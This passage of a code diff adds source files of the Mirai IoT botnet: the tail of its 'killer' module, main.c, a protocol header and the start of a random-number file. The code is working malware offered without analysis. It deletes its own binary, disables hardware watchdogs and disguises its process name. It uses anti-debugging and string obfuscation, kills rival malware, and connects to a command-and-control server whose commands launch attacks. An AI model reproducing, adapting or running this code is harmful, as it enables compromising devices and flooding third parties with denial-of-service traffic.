|             util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|             util_strcpy(ptr_path + util_strlen(ptr_path), pid); | ||||
|             util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); | ||||
|             if ((fd_dir = opendir(path)) != NULL) | ||||
|             { | ||||
|                 while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0) | ||||
|                 { | ||||
|                     char *fd_str = fd_entry->d_name; | ||||
|  | ||||
|                     util_zero(exe, PATH_MAX); | ||||
|                     util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|                     util_strcpy(ptr_path + util_strlen(ptr_path), pid); | ||||
|                     util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); | ||||
|                     util_strcpy(ptr_path + util_strlen(ptr_path), "/"); | ||||
|                     util_strcpy(ptr_path + util_strlen(ptr_path), fd_str); | ||||
|                     if (readlink(path, exe, PATH_MAX) == -1) | ||||
|                         continue; | ||||
|  | ||||
|                     if (util_stristr(exe, util_strlen(exe), inode) != -1) | ||||
|                     { | ||||
| #ifdef DEBUG | ||||
|                         printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port)); | ||||
| #else | ||||
|                         kill(util_atoi(pid, 10), 9); | ||||
| #endif | ||||
|                         ret = 1; | ||||
|                     } | ||||
|                 } | ||||
|                 closedir(fd_dir); | ||||
|             } | ||||
|         } | ||||
|         closedir(dir); | ||||
|     } | ||||
|  | ||||
|     sleep(1); | ||||
|  | ||||
|     table_lock_val(TABLE_KILLER_PROC); | ||||
|     table_lock_val(TABLE_KILLER_EXE); | ||||
|     table_lock_val(TABLE_KILLER_FD); | ||||
|  | ||||
|     return ret; | ||||
| } | ||||
|  | ||||
| static BOOL has_exe_access(void) | ||||
| { | ||||
|     char path[PATH_MAX], *ptr_path = path, tmp[16]; | ||||
|     int fd, k_rp_len; | ||||
|  | ||||
|     table_unlock_val(TABLE_KILLER_PROC); | ||||
|     table_unlock_val(TABLE_KILLER_EXE); | ||||
|  | ||||
|     // Copy /proc/$pid/exe into path | ||||
|     ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|     ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp)); | ||||
|     ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); | ||||
|  | ||||
|     // Try to open file | ||||
|     if ((fd = open(path, O_RDONLY)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Failed to open()\n"); | ||||
| #endif | ||||
|         return FALSE; | ||||
|     } | ||||
|     close(fd); | ||||
|  | ||||
|     table_lock_val(TABLE_KILLER_PROC); | ||||
|     table_lock_val(TABLE_KILLER_EXE); | ||||
|  | ||||
|     if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1) | ||||
|     { | ||||
|         killer_realpath[k_rp_len] = 0; | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Detected we are running out of `%s`\n", killer_realpath); | ||||
| #endif | ||||
|     } | ||||
|  | ||||
|     util_zero(path, ptr_path - path); | ||||
|  | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| /* | ||||
| static BOOL status_upx_check(char *exe_path, char *status_path) | ||||
| { | ||||
|     int fd, ret; | ||||
|  | ||||
|     if ((fd = open(exe_path, O_RDONLY)) != -1) | ||||
|     { | ||||
|         close(fd); | ||||
|         return FALSE; | ||||
|     } | ||||
|  | ||||
|     if ((fd = open(status_path, O_RDONLY)) == -1) | ||||
|         return FALSE; | ||||
|  | ||||
|     while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) | ||||
|     { | ||||
|         if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || | ||||
|             mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || | ||||
|             mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || | ||||
|             mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || | ||||
|             mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) | ||||
|         { | ||||
|             found = TRUE; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     //eyy | ||||
|  | ||||
|     close(fd); | ||||
|     return FALSE; | ||||
| } | ||||
| */ | ||||
|  | ||||
| static BOOL memory_scan_match(char *path) | ||||
| { | ||||
|     int fd, ret; | ||||
|     char rdbuf[4096]; | ||||
|     char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard; | ||||
|     int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len; | ||||
|     BOOL found = FALSE; | ||||
|  | ||||
|     if ((fd = open(path, O_RDONLY)) == -1) | ||||
|         return FALSE; | ||||
|  | ||||
|     table_unlock_val(TABLE_MEM_QBOT); | ||||
|     table_unlock_val(TABLE_MEM_QBOT2); | ||||
|     table_unlock_val(TABLE_MEM_QBOT3); | ||||
|     table_unlock_val(TABLE_MEM_UPX); | ||||
|     table_unlock_val(TABLE_MEM_ZOLLARD); | ||||
|  | ||||
|     m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len); | ||||
|     m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len); | ||||
|     m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len); | ||||
|     m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len); | ||||
|     m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len); | ||||
|  | ||||
|     while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) | ||||
|     { | ||||
|         if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || | ||||
|             mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || | ||||
|             mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || | ||||
|             mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || | ||||
|             mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) | ||||
|         { | ||||
|             found = TRUE; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     table_lock_val(TABLE_MEM_QBOT); | ||||
|     table_lock_val(TABLE_MEM_QBOT2); | ||||
|     table_lock_val(TABLE_MEM_QBOT3); | ||||
|     table_lock_val(TABLE_MEM_UPX); | ||||
|     table_lock_val(TABLE_MEM_ZOLLARD); | ||||
|  | ||||
|     close(fd); | ||||
|  | ||||
|     return found; | ||||
| } | ||||
|  | ||||
| static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len) | ||||
| { | ||||
|     int matches = 0; | ||||
|  | ||||
|     if (str_len > buf_len) | ||||
|         return FALSE; | ||||
|  | ||||
|     while (buf_len--) | ||||
|     { | ||||
|         if (*buf++ == str[matches]) | ||||
|         { | ||||
|             if (++matches == str_len) | ||||
|                 return TRUE; | ||||
|         } | ||||
|         else | ||||
|             matches = 0; | ||||
|     } | ||||
|  | ||||
|     return FALSE; | ||||
| } | ||||
							
								
								
									
										19
									
								
								mirai/bot/killer.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										19
									
								
								mirai/bot/killer.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,19 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| #define KILLER_MIN_PID              400 | ||||
| #define KILLER_RESTART_SCAN_TIME    600 | ||||
|  | ||||
| #define KILLER_REBIND_TELNET | ||||
| // #define KILLER_REBIND_SSH | ||||
| // #define KILLER_REBIND_HTTP | ||||
|  | ||||
| void killer_init(void); | ||||
| void killer_kill(void); | ||||
| BOOL killer_kill_by_port(port_t); | ||||
|  | ||||
| static BOOL has_exe_access(void); | ||||
| static BOOL memory_scan_match(char *); | ||||
| static BOOL status_upx_check(char *, char *); | ||||
| static BOOL mem_exists(char *, int, char *, int); | ||||
							
								
								
									
										533
									
								
								mirai/bot/main.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										533
									
								
								mirai/bot/main.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,533 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <sys/prctl.h> | ||||
| #include <sys/select.h> | ||||
| #include <signal.h> | ||||
| #include <fcntl.h> | ||||
| #include <sys/ioctl.h> | ||||
| #include <time.h> | ||||
| #include <errno.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "table.h" | ||||
| #include "rand.h" | ||||
| #include "attack.h" | ||||
| #include "killer.h" | ||||
| #include "scanner.h" | ||||
| #include "util.h" | ||||
| #include "resolv.h" | ||||
|  | ||||
| static void anti_gdb_entry(int); | ||||
| static void resolve_cnc_addr(void); | ||||
| static void establish_connection(void); | ||||
| static void teardown_connection(void); | ||||
| static void ensure_single_instance(void); | ||||
| static BOOL unlock_tbl_if_nodebug(char *); | ||||
|  | ||||
| struct sockaddr_in srv_addr; | ||||
| int fd_ctrl = -1, fd_serv = -1; | ||||
| BOOL pending_connection = FALSE; | ||||
| void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry | ||||
|  | ||||
| #ifdef DEBUG | ||||
| static void segv_handler(int sig, siginfo_t *si, void *unused) | ||||
| { | ||||
|     printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr); | ||||
|     exit(EXIT_FAILURE); | ||||
| } | ||||
| #endif | ||||
|  | ||||
| int main(int argc, char **args) | ||||
| { | ||||
|     char *tbl_exec_succ; | ||||
|     char name_buf[32]; | ||||
|     char id_buf[32]; | ||||
|     int name_buf_len; | ||||
|     int tbl_exec_succ_len; | ||||
|     int pgid, pings = 0; | ||||
|  | ||||
| #ifndef DEBUG | ||||
|     sigset_t sigs; | ||||
|     int wfd; | ||||
|  | ||||
|     // Delete self | ||||
|     unlink(args[0]); | ||||
|  | ||||
|     // Signal based control flow | ||||
|     sigemptyset(&sigs); | ||||
|     sigaddset(&sigs, SIGINT); | ||||
|     sigprocmask(SIG_BLOCK, &sigs, NULL); | ||||
|     signal(SIGCHLD, SIG_IGN); | ||||
|     signal(SIGTRAP, &anti_gdb_entry); | ||||
|  | ||||
|     // Prevent watchdog from rebooting device | ||||
|     if ((wfd = open("/dev/watchdog", 2)) != -1 || | ||||
|         (wfd = open("/dev/misc/watchdog", 2)) != -1) | ||||
|     { | ||||
|         int one = 1; | ||||
|  | ||||
|         ioctl(wfd, 0x80045704, &one); | ||||
|         close(wfd); | ||||
|         wfd = 0; | ||||
|     } | ||||
|     chdir("/"); | ||||
| #endif | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("DEBUG MODE YO\n"); | ||||
|  | ||||
|     sleep(1); | ||||
|  | ||||
|     struct sigaction sa; | ||||
|  | ||||
|     sa.sa_flags = SA_SIGINFO; | ||||
|     sigemptyset(&sa.sa_mask); | ||||
|     sa.sa_sigaction = segv_handler; | ||||
|     if (sigaction(SIGSEGV, &sa, NULL) == -1) | ||||
|         perror("sigaction"); | ||||
|  | ||||
|     sa.sa_flags = SA_SIGINFO; | ||||
|     sigemptyset(&sa.sa_mask); | ||||
|     sa.sa_sigaction = segv_handler; | ||||
|     if (sigaction(SIGBUS, &sa, NULL) == -1) | ||||
|         perror("sigaction"); | ||||
| #endif | ||||
|  | ||||
|     LOCAL_ADDR = util_local_addr(); | ||||
|  | ||||
|     srv_addr.sin_family = AF_INET; | ||||
|     srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR; | ||||
|     srv_addr.sin_port = htons(FAKE_CNC_PORT); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     unlock_tbl_if_nodebug(args[0]); | ||||
|     anti_gdb_entry(0); | ||||
| #else | ||||
|     if (unlock_tbl_if_nodebug(args[0])) | ||||
|         raise(SIGTRAP); | ||||
| #endif | ||||
|  | ||||
|     ensure_single_instance(); | ||||
|  | ||||
|     rand_init(); | ||||
|  | ||||
|     util_zero(id_buf, 32); | ||||
|     if (argc == 2 && util_strlen(args[1]) < 32) | ||||
|     { | ||||
|         util_strcpy(id_buf, args[1]); | ||||
|         util_zero(args[1], util_strlen(args[1])); | ||||
|     } | ||||
|  | ||||
|     // Hide argv0 | ||||
|     name_buf_len = ((rand_next() % 4) + 3) * 4; | ||||
|     rand_alphastr(name_buf, name_buf_len); | ||||
|     name_buf[name_buf_len] = 0; | ||||
|     util_strcpy(args[0], name_buf); | ||||
|  | ||||
|     // Hide process name | ||||
|     name_buf_len = ((rand_next() % 6) + 3) * 4; | ||||
|     rand_alphastr(name_buf, name_buf_len); | ||||
|     name_buf[name_buf_len] = 0; | ||||
|     prctl(PR_SET_NAME, name_buf); | ||||
|  | ||||
|     // Print out system exec | ||||
|     table_unlock_val(TABLE_EXEC_SUCCESS); | ||||
|     tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); | ||||
|     write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); | ||||
|     write(STDOUT, "\n", 1); | ||||
|     table_lock_val(TABLE_EXEC_SUCCESS); | ||||
|  | ||||
| #ifndef DEBUG | ||||
|     if (fork() > 0) | ||||
|         return 0; | ||||
|     pgid = setsid(); | ||||
|     close(STDIN); | ||||
|     close(STDOUT); | ||||
|     close(STDERR); | ||||
| #endif | ||||
|  | ||||
|     attack_init(); | ||||
|     killer_init(); | ||||
| #ifndef DEBUG | ||||
| #ifdef MIRAI_TELNET | ||||
|     scanner_init(); | ||||
| #endif | ||||
| #endif | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         fd_set fdsetrd, fdsetwr, fdsetex; | ||||
|         struct timeval timeo; | ||||
|         int mfd, nfds; | ||||
|  | ||||
|         FD_ZERO(&fdsetrd); | ||||
|         FD_ZERO(&fdsetwr); | ||||
|  | ||||
|         // Socket for accept() | ||||
|         if (fd_ctrl != -1) | ||||
|             FD_SET(fd_ctrl, &fdsetrd); | ||||
|  | ||||
|         // Set up CNC sockets | ||||
|         if (fd_serv == -1) | ||||
|             establish_connection(); | ||||
|  | ||||
|         if (pending_connection) | ||||
|             FD_SET(fd_serv, &fdsetwr); | ||||
|         else | ||||
|             FD_SET(fd_serv, &fdsetrd); | ||||
|  | ||||
|         // Get maximum FD for select | ||||
|         if (fd_ctrl > fd_serv) | ||||
|             mfd = fd_ctrl; | ||||
|         else | ||||
|             mfd = fd_serv; | ||||
|  | ||||
|         // Wait 10s in call to select() | ||||
|         timeo.tv_usec = 0; | ||||
|         timeo.tv_sec = 10; | ||||
|         nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo); | ||||
|         if (nfds == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("select() errno = %d\n", errno); | ||||
| #endif | ||||
|             continue; | ||||
|         } | ||||
|         else if (nfds == 0) | ||||
|         { | ||||
|             uint16_t len = 0; | ||||
|  | ||||
|             if (pings++ % 6 == 0) | ||||
|                 send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); | ||||
|         } | ||||
|  | ||||
|         // Check if we need to kill ourselves | ||||
|         if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd)) | ||||
|         { | ||||
|             struct sockaddr_in cli_addr; | ||||
|             socklen_t cli_addr_len = sizeof (cli_addr); | ||||
|  | ||||
|             accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|             printf("[main] Detected newer instance running! Killing self\n"); | ||||
| #endif | ||||
| #ifdef MIRAI_TELNET | ||||
|             scanner_kill(); | ||||
| #endif | ||||
|             killer_kill(); | ||||
|             attack_kill_all(); | ||||
|             kill(pgid * -1, 9); | ||||
|             exit(0); | ||||
|         } | ||||
|  | ||||
|         // Check if CNC connection was established or timed out or errored | ||||
|         if (pending_connection) | ||||
|         { | ||||
|             pending_connection = FALSE; | ||||
|  | ||||
|             if (!FD_ISSET(fd_serv, &fdsetwr)) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[main] Timed out while connecting to CNC\n"); | ||||
| #endif | ||||
|                 teardown_connection(); | ||||
|             } | ||||
|             else | ||||
|             { | ||||
|                 int err = 0; | ||||
|                 socklen_t err_len = sizeof (err); | ||||
|  | ||||
|                 getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len); | ||||
|                 if (err != 0) | ||||
|                 { | ||||
| #ifdef DEBUG | ||||
|                     printf("[main] Error while connecting to CNC code=%d\n", err); | ||||
| #endif | ||||
|                     close(fd_serv); | ||||
|                     fd_serv = -1; | ||||
|                     sleep((rand_next() % 10) + 1); | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
|                     uint8_t id_len = util_strlen(id_buf); | ||||
|  | ||||
|                     LOCAL_ADDR = util_local_addr(); | ||||
|                     send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL); | ||||
|                     send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); | ||||
|                     if (id_len > 0) | ||||
|                     { | ||||
|                         send(fd_serv, id_buf, id_len, MSG_NOSIGNAL); | ||||
|                     } | ||||
| #ifdef DEBUG | ||||
|                     printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR); | ||||
| #endif | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|         else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd)) | ||||
|         { | ||||
|             int n; | ||||
|             uint16_t len; | ||||
|             char rdbuf[1024]; | ||||
|  | ||||
|             // Try to read in buffer length from CNC | ||||
|             errno = 0; | ||||
|             n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK); | ||||
|             if (n == -1) | ||||
|             { | ||||
|                 if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) | ||||
|                     continue; | ||||
|                 else | ||||
|                     n = 0; // Cause connection to close | ||||
|             } | ||||
|              | ||||
|             // If n == 0 then we close the connection! | ||||
|             if (n == 0) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[main] Lost connection with CNC (errno = %d) 1\n", errno); | ||||
| #endif | ||||
|                 teardown_connection(); | ||||
|                 continue; | ||||
|             } | ||||
|  | ||||
|             // Convert length to network order and sanity check length | ||||
|             if (len == 0) // If it is just a ping, no need to try to read in buffer data | ||||
|             { | ||||
|                 recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length | ||||
|                 continue; | ||||
|             } | ||||
|             len = ntohs(len); | ||||
|             if (len > sizeof (rdbuf)) | ||||
|             { | ||||
|                 close(fd_serv); | ||||
|                 fd_serv = -1; | ||||
|             } | ||||
|  | ||||
|             // Try to read in buffer from CNC | ||||
|             errno = 0; | ||||
|             n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK); | ||||
|             if (n == -1) | ||||
|             { | ||||
|                 if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) | ||||
|                     continue; | ||||
|                 else | ||||
|                     n = 0; | ||||
|             } | ||||
|  | ||||
|             // If n == 0 then we close the connection! | ||||
|             if (n == 0) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[main] Lost connection with CNC (errno = %d) 2\n", errno); | ||||
| #endif | ||||
|                 teardown_connection(); | ||||
|                 continue; | ||||
|             } | ||||
|  | ||||
|             // Actually read buffer length and buffer data | ||||
|             recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); | ||||
|             len = ntohs(len); | ||||
|             recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|             printf("[main] Received %d bytes from CNC\n", len); | ||||
| #endif | ||||
|  | ||||
|             if (len > 0) | ||||
|                 attack_parse(rdbuf, len); | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return 0; | ||||
| } | ||||
|  | ||||
| static void anti_gdb_entry(int sig) | ||||
| { | ||||
|     resolve_func = resolve_cnc_addr; | ||||
| } | ||||
|  | ||||
| static void resolve_cnc_addr(void) | ||||
| { | ||||
|     struct resolv_entries *entries; | ||||
|  | ||||
|     table_unlock_val(TABLE_CNC_DOMAIN); | ||||
|     entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL)); | ||||
|     table_lock_val(TABLE_CNC_DOMAIN); | ||||
|     if (entries == NULL) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[main] Failed to resolve CNC address\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; | ||||
|     resolv_entries_free(entries); | ||||
|  | ||||
|     table_unlock_val(TABLE_CNC_PORT); | ||||
|     srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL)); | ||||
|     table_lock_val(TABLE_CNC_PORT); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[main] Resolved domain\n"); | ||||
| #endif | ||||
| } | ||||
|  | ||||
| static void establish_connection(void) | ||||
| { | ||||
| #ifdef DEBUG | ||||
|     printf("[main] Attempting to connect to CNC\n"); | ||||
| #endif | ||||
|  | ||||
|     if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[main] Failed to call socket(). Errno = %d\n", errno); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0)); | ||||
|  | ||||
|     // Should call resolve_cnc_addr | ||||
|     if (resolve_func != NULL) | ||||
|         resolve_func(); | ||||
|  | ||||
|     pending_connection = TRUE; | ||||
|     connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in)); | ||||
| } | ||||
|  | ||||
| static void teardown_connection(void) | ||||
| { | ||||
| #ifdef DEBUG | ||||
|     printf("[main] Tearing down connection to CNC!\n"); | ||||
| #endif | ||||
|  | ||||
|     if (fd_serv != -1) | ||||
|         close(fd_serv); | ||||
|     fd_serv = -1; | ||||
|     sleep(1); | ||||
| } | ||||
|  | ||||
| static void ensure_single_instance(void) | ||||
| { | ||||
|     static BOOL local_bind = TRUE; | ||||
|     struct sockaddr_in addr; | ||||
|     int opt = 1; | ||||
|  | ||||
|     if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|         return; | ||||
|     setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int)); | ||||
|     fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0)); | ||||
|  | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; | ||||
|     addr.sin_port = htons(SINGLE_INSTANCE_PORT); | ||||
|  | ||||
|     // Try to bind to the control port | ||||
|     errno = 0; | ||||
|     if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) | ||||
|     { | ||||
|         if (errno == EADDRNOTAVAIL && local_bind) | ||||
|             local_bind = FALSE; | ||||
| #ifdef DEBUG | ||||
|         printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); | ||||
| #endif | ||||
|  | ||||
|         // Reset addr just in case | ||||
|         addr.sin_family = AF_INET; | ||||
|         addr.sin_addr.s_addr = INADDR_ANY; | ||||
|         addr.sin_port = htons(SINGLE_INSTANCE_PORT); | ||||
|  | ||||
|         if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[main] Failed to connect to fd_ctrl to request process termination\n"); | ||||
| #endif | ||||
|         } | ||||
|          | ||||
|         sleep(5); | ||||
|         close(fd_ctrl); | ||||
|         killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); | ||||
|         ensure_single_instance(); // Call again, so that we are now the control | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         if (listen(fd_ctrl, 1) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[main] Failed to call listen() on fd_ctrl\n"); | ||||
|             close(fd_ctrl); | ||||
|             sleep(5); | ||||
|             killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); | ||||
|             ensure_single_instance(); | ||||
| #endif | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|         printf("[main] We are the only process on this system!\n"); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| static BOOL unlock_tbl_if_nodebug(char *argv0) | ||||
| { | ||||
|     // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72 | ||||
|     char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12]; | ||||
|     int i, ii = 0, c = 0; | ||||
|     uint8_t fold = 0xAF; | ||||
|     void (*obf_funcs[]) (void) = { | ||||
|         (void (*) (void))ensure_single_instance, | ||||
|         (void (*) (void))table_unlock_val, | ||||
|         (void (*) (void))table_retrieve_val, | ||||
|         (void (*) (void))table_init, // This is the function we actually want to run | ||||
|         (void (*) (void))table_lock_val, | ||||
|         (void (*) (void))util_memcpy, | ||||
|         (void (*) (void))util_strcmp, | ||||
|         (void (*) (void))killer_init, | ||||
|         (void (*) (void))anti_gdb_entry | ||||
|     }; | ||||
|     BOOL matches; | ||||
|  | ||||
|     for (i = 0; i < 7; i++) | ||||
|         c += (long)obf_funcs[i]; | ||||
|     if (c == 0) | ||||
|         return FALSE; | ||||
|  | ||||
|     // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3 | ||||
|     for (i = 0; i < sizeof (buf_src); i += 3) | ||||
|     { | ||||
|         char tmp = buf_src[i]; | ||||
|  | ||||
|         buf_dst[ii++] = buf_src[i + 1]; | ||||
|         buf_dst[ii++] = tmp; | ||||
|  | ||||
|         // Meaningless tautology that gets you right back where you started | ||||
|         i *= 2; | ||||
|         i += 14; | ||||
|         i /= 2; | ||||
|         i -= 7; | ||||
|  | ||||
|         // Mess with 0xAF | ||||
|         fold += ~argv0[ii % util_strlen(argv0)]; | ||||
|     } | ||||
|     fold %= (sizeof (obf_funcs) / sizeof (void *)); | ||||
|      | ||||
| #ifndef DEBUG | ||||
|     (obf_funcs[fold])(); | ||||
|     matches = util_strcmp(argv0, buf_dst); | ||||
|     util_zero(buf_src, sizeof (buf_src)); | ||||
|     util_zero(buf_dst, sizeof (buf_dst)); | ||||
|     return matches; | ||||
| #else | ||||
|     table_init(); | ||||
|     return TRUE; | ||||
| #endif | ||||
| } | ||||
							
								
								
									
										34
									
								
								mirai/bot/protocol.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										34
									
								
								mirai/bot/protocol.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,34 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| struct dnshdr { | ||||
|     uint16_t id, opts, qdcount, ancount, nscount, arcount; | ||||
| }; | ||||
|  | ||||
| struct dns_question { | ||||
|     uint16_t qtype, qclass; | ||||
| }; | ||||
|  | ||||
| struct dns_resource { | ||||
|     uint16_t type, _class; | ||||
|     uint32_t ttl; | ||||
|     uint16_t data_len; | ||||
| } __attribute__((packed)); | ||||
|  | ||||
| struct grehdr { | ||||
|     uint16_t opts, protocol; | ||||
| }; | ||||
|  | ||||
| #define PROTO_DNS_QTYPE_A       1 | ||||
| #define PROTO_DNS_QCLASS_IP     1 | ||||
|  | ||||
| #define PROTO_TCP_OPT_NOP   1 | ||||
| #define PROTO_TCP_OPT_MSS   2 | ||||
| #define PROTO_TCP_OPT_WSS   3 | ||||
| #define PROTO_TCP_OPT_SACK  4 | ||||
| #define PROTO_TCP_OPT_TSVAL 8 | ||||
|  | ||||
| #define PROTO_GRE_TRANS_ETH 0x6558 | ||||
							
								
								
									
										84
									
								
								mirai/bot/rand.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										84
									
								
								mirai/bot/rand.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,84 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #include <stdint.h> | ||||
| #include <unistd.h> | ||||
| #include <stdlib.h> | ||||
| #include <time.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "rand.h" | ||||
|  | ||||
| static uint32_t x, y, z, w; | ||||
|  | ||||
| void rand_init(void) | ||||
| { | ||||
|     x = time(NULL); | ||||
|     y = getpid() ^ getppid(); | ||||
|     z = clock(); | ||||
|     w = z ^ y; | ||||
| } | ||||
|  | ||||
| uint32_t rand_next(void) //period 2^96-1 | ||||
| { | ||||
|     uint32_t t = x; | ||||
|     t ^= t << 11; | ||||
|     t ^= t >> 8; | ||||
|     x = y; y = z; z = w; | ||||
|     w ^= w >> 19; | ||||
|     w ^= t; | ||||
|     return w; | ||||
| } | ||||
|  | ||||
| void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len | ||||
| { | ||||
|     while (len > 0) | ||||
|     { | ||||
